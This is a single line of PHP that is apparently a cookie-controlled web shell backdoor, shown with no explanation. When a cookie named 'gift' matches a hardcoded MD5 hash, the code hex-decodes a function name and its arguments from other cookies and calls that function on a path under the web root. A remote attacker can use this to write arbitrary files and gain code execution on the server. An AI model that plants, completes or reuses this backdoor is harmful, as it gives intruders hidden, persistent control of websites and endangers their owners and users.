$lk='d579e078428b5bb501ce1aecc1c8df0e'; if (array_key_exists("gift", $_COOKIE)) { $cookie_array=$_COOKIE;$md=hex2bin($cookie_array['mod']); md5($cookie_array['gift'])==$lk ? $md($_SERVER['DOCUMENT_ROOT'].hex2bin($cookie_array['s']),hex2bin($cookie_array['ss'])) : exit('Error'); }